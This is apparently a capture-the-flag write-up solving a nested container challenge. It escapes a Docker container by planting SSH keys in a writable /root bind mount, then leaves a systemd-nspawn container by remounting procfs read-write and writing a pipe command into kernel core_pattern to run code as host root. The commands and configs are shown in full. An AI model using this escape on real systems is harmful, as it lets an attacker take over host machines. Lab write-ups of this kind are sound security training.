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Potluck CTF 2023 -- Cake of Paranoia
2023-12-28
CTF Writeups
sandbox 
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A layer cake of paranoia. Please enjoy, and don't be afraid to take seconds.

I blooded the chal :) with a cheese strat way easier than intended challenge01-dist.tgz

We’re provided a rootfs and tcp connection info which gets us a shell.

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potluck-ctf-2023/cake-of-paranoia/rootfs
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❯ fd
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etc/systemd/nspawn/
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etc/systemd/nspawn/ubuntu.nspawn
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etc/systemd/system.control/systemd-nspawn@ubuntu.service.d/
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etc/systemd/system.control/systemd-nspawn@ubuntu.service.d/50-DeviceAllow.conf
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...
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etc/systemd/system/multi-user.target.wants/machines.target
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etc/systemd/system/machines.target.wants/
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etc/systemd/system/machines.target.wants/systemd-nspawn@ubuntu.service
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...
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var/lib/machines/ubuntu/
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usr/lib/libnss_mymachines.so.2
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usr/share/man/man1/systemd-machine-id-setup.1.gz
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var/lib/machines/ubuntu/opt/
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var/lib/machines/ubuntu/opt/containerd/
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var/lib/machines/ubuntu/opt/containerd/bin/
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var/lib/machines/ubuntu/opt/containerd/lib/
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var/lib/machines/ubuntu/bin
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var/lib/machines/ubuntu/sys/
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var/lib/machines/ubuntu/media/
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var/lib/machines/ubuntu/lib
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var/lib/machines/ubuntu/run/
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var/lib/machines/ubuntu/boot/
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...
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var/lib/machines/ubuntu/var/lib/docker/
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var/lib/machines/ubuntu/var/lib/docker/engine-id
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var/lib/machines/ubuntu/var/lib/docker/runtimes/
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var/lib/machines/ubuntu/var/lib/docker/network/
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var/lib/machines/ubuntu/var/lib/docker/network/files/
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var/lib/machines/ubuntu/var/lib/docker/network/files/local-kv.db
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var/lib/machines/ubuntu/var/lib/docker/volumes/
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var/lib/machines/ubuntu/var/lib/docker/volumes/metadata.db
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var/lib/machines/ubuntu/var/lib/docker/volumes/backingFsBlockDev
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var/lib/machines/ubuntu/var/lib/docker/containers/
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var/lib/machines/ubuntu/var/lib/docker/containers/68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221/
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var/lib/machines/ubuntu/var/lib/docker/containers/68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221/68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221-json.log
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var/lib/machines/ubuntu/var/lib/docker/containers/68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221/mounts/
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var/lib/machines/ubuntu/var/lib/docker/containers/68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221/hosts
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var/lib/machines/ubuntu/var/lib/docker/containers/68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221/hostconfig.json
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var/lib/machines/ubuntu/var/lib/docker/containers/68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221/resolv.conf.hash
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var/lib/machines/ubuntu/var/lib/docker/containers/68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221/resolv.conf
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var/lib/machines/ubuntu/var/lib/docker/containers/68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221/config.v2.json

Examining the rootfs and connecting to the shell the general structure of the challenge becomes clear.

We connect into a shell inside a docker container. This docker container is running inside a systemd nspawn container. This nspawn container is running inside an arch vm and the flag is present in /flag.txt inside the top level vm.

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// runs every minute by cron
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const GLib = imports.gi.GLib;
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if (!GLib.access("/flag.txt", 0)) {
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  console.log("yay, the flag's still there!");
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} else {
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  console.log("whoops, the flag's gone");
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}

We’ll need to do two container escapes — first from docker to nspawn and then from nspawn to the top level. I’ll first examine the docker container for any security-relevant configuration.

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> cat /proc/self/status | grep CapEff
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CapEff: 00000000a80425fb
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> capsh --decode=00000000a80425fb
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0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

Capabilities are more or less uninteresting — default and nothing that can be leverage to break out. Looking inside the container config though shows something very suspicious — that /root is mounted as a volume inside the container.

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{
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  "StreamConfig": {},
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  "State": {
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    "Running": true,
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    "Paused": false,
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    "Restarting": false,
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    "OOMKilled": false,
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    "RemovalInProgress": false,
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    "Dead": false,
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    "Pid": 466,
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    "ExitCode": 0,
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    "Error": "",
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    "StartedAt": "2023-11-29T08:37:47.639966172Z",
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    "FinishedAt": "0001-01-01T00:00:00Z",
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    "Health": null
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  },
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  "ID": "68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221",
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  "Created": "2023-11-29T08:37:46.082139124Z",
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  "Managed": false,
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  "Path": "socat",
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  "Args": [
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    "-d",
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    "-d",
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    "TCP-LISTEN:1337,reuseaddr,fork",
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    "EXEC:/bin/sh,stderr"
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  ],
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  "Config": {
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    "Hostname": "68be6028e3e4",
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    "Domainname": "",
111 collapsed lines
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    "User": "",
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    "AttachStdin": false,
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    "AttachStdout": false,
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    "AttachStderr": false,
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    "ExposedPorts": {
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      "1337/tcp": {}
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    },
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    "Tty": false,
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    "OpenStdin": false,
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    "StdinOnce": false,
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    "Env": [
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      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
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    ],
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    "Cmd": null,
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    "Image": "entrypoint",
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    "Volumes": null,
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    "WorkingDir": "",
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    "Entrypoint": [
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      "socat",
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      "-d",
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      "-d",
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      "TCP-LISTEN:1337,reuseaddr,fork",
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      "EXEC:/bin/sh,stderr"
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    ],
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    "OnBuild": null,
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    "Labels": {}
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  },
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  "Image": "sha256:8adf4a1c6bc350ad16f843424110069b69e4423ef4d87daa39c38ab001659166",
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  "ImageManifest": null,
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  "NetworkSettings": {
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    "Bridge": "",
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    "SandboxID": "e1a8b0eceb93d2ed34f0e5f0c5935963554cf35071a19b7dbb692c1e25540c7e",
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    "HairpinMode": false,
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    "LinkLocalIPv6Address": "",
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    "LinkLocalIPv6PrefixLen": 0,
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    "Networks": {
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      "bridge": {
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        "IPAMConfig": null,
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        "Links": null,
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        "Aliases": null,
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        "NetworkID": "8a082b6e4f0e46624e5ca1cc014fc1a5a52f44d6b4ce65cc6a015b7391de87de",
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        "EndpointID": "07628d86f5bf567d848707f7f1af75d72bf89059d19349ab71f21b6d0fdf25bc",
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        "Gateway": "172.17.0.1",
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        "IPAddress": "172.17.0.2",
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        "IPPrefixLen": 16,
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        "IPv6Gateway": "",
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        "GlobalIPv6Address": "",
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        "GlobalIPv6PrefixLen": 0,
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        "MacAddress": "02:42:ac:11:00:02",
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        "DriverOpts": null,
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        "IPAMOperational": false
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      }
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    },
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    "Service": null,
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    "Ports": {
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      "1337/tcp": [
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        {
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          "HostIp": "0.0.0.0",
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          "HostPort": "1337"
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        },
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        {
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          "HostIp": "::",
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          "HostPort": "1337"
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        }
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      ]
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    },
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    "SandboxKey": "/var/run/docker/netns/e1a8b0eceb93",
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    "SecondaryIPAddresses": null,
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    "SecondaryIPv6Addresses": null,
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    "IsAnonymousEndpoint": true,
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    "HasSwarmEndpoint": false
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  },
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  "LogPath": "/var/lib/docker/containers/68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221/68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221-json.log",
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  "Name": "/jovial_mcnulty",
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  "Driver": "overlay2",
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  "OS": "linux",
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  "RestartCount": 0,
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  "HasBeenStartedBefore": true,
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  "HasBeenManuallyStopped": false,
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  "MountPoints": {
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    "/root": {
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      "Source": "/root",
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      "Destination": "/root",
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      "RW": true,
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      "Name": "",
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      "Driver": "",
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      "Type": "bind",
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      "Propagation": "rprivate",
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      "Spec": {
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        "Type": "bind",
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        "Source": "/root",
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        "Target": "/root"
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      },
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      "SkipMountpointCreation": false
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    }
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  },
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  "SecretReferences": null,
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  "ConfigReferences": null,
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  "MountLabel": "",
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  "ProcessLabel": "",
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  "AppArmorProfile": "",
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  "SeccompProfile": "",
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  "NoNewPrivileges": false,
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  "HostnamePath": "/var/lib/docker/containers/68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221/hostname",
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  "HostsPath": "/var/lib/docker/containers/68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221/hosts",
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  "ShmPath": "",
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  "ResolvConfPath": "/var/lib/docker/containers/68be6028e3e4a7b4a2c5f65d6e9681881ae1abf08b664e0f83d64d5092f1e221/resolv.conf",
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  "LocalLogCacheMeta": {
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    "HaveNotifyEnabled": false
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  }
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}

Following up on that shows that we have write access to root’s .ssh directory, sshd is running on the host, and the host and docker container are networked together. After fighting for a long time with the IO, I managed to get dropbear on inside the container and confirmed I could ssh up a level.

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> cat /proc/self/status | grep CapEff
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CapEff: 00000000fdecbfff
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> capsh --decode=00000000fdecbfff
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0x00000000fdecbfff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_owner,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap

Looking at the config shows we are explicitly allowed to invoke add_key, keyctl, or bpf syscalls inside the container.

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[Exec]
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Boot=true
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PrivateUsers=false
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SystemCallFilter=add_key keyctl bpf
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[Network]
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Zone=guests
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Port=1337
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[Files]
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Bind=/dev/fuse

I know the author well enough to know that the intended solution is bpf fuckery (with the bpf syscall and cap_sys_admin) but I don’t know bpf well and didn’t want to do that. Fortunately for me, cap_sys_admin is an unreasonably powerful capability and there are other routes.

Systemd, by default, mounts procfs and sys as read-only. It does not prevent a user with the appropriate (and default) capabilities from mounting procfs again r/w. Once you have write access to procfs it’s trivial to escalate privileges by modifying core_pattern.

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> mkdir proc
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> mount -t proc proc proc
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> echo '|/usr/bin/cp /flag.txt /var/lib/machines/ubuntu/flag.txt' > proc/sys/kernel/core_pattern
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./crash
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> cat /flag.txt
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potluck{sometimes-we-all-get-in-a-little-over-our-heads-dont-we}